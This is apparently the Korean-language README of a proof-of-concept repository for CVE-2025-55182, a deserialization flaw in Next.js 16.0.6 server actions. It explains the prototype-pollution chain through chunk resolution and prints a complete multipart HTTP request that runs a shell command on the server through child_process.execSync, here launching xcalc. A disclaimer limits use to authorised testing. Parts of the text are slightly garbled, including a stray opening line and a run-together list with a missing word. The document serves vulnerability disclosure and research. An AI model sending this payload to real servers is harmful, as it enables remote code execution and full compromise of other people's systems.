
익스플로잇에 더 중점을 두며, 보안 연구 저장소에 적합합니다.
이 저장소는 Next.js 16.0.6에 영향을 미치는 치명적인 역직렬화 취약점인 CVE-2025-55182에 대한 동작하는 개념 증명(POC)을 포함합니다.
이 익스플로잇은 $@ 청크 역직렬화와 Chunk.prototype.then을 악용하여 청크 해석 프로세스를 완전히 제어하고 서버에서 **임의 코드 실행(RCE)**을 달성합니다.
Next.js는 서버 액션을 위해 내부 Chunk 객체와 스트리밍/역직렬화 메커니즘을 사용합니다.
공격자는 $@를 악용하여 Chunk 참조를 역직렬화하고 루트 객체에 Chunk.prototype.then을 주입함으로써 다음을 수행할 수 있습니다:
this로 then(...)을 호출하도록 강제status를 로 설정resolved_modelinitializeModelChunk 트리거chunk._response 메서드를 악용하여 위험한 내부 동작에 도달최종 목표는 Blob 역직렬화를 트리거하여 다음과 같은 호출을 실행하는 것입니다:
response._formData.get(response._prefix)
공격자는 response._formData.get = Function으로 설정하고 response._prefix에 임의 코드를 넣어 임의 시스템 명령을 실행할 수 있습니다.
poc/CVE-2025-55182.http의 HTTP 요청은 로컬에서 실행 중인 Next.js 16.0.6에 대한 익스플로잇을 보여주며, child_process.execSync를 통해 xcalc를 실행합니다:
POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
/
├── README.md
├── DISCLAIMER.md
├── poc/
│ └── CVE-2025-55182.http
└── analysis/
└── exploitation-notes.md
이 프로젝트는 교육 및 연구 목적으로만 제공됩니다. 소유하지 않았거나 명시적인 서면 테스트 허가를 받지 않은 시스템에서 이 익스플로잇을 사용하지 마십시오.
작성자는 어떠한 오용 또는 발생한 피해에 대해 책임을 지지 않습니다.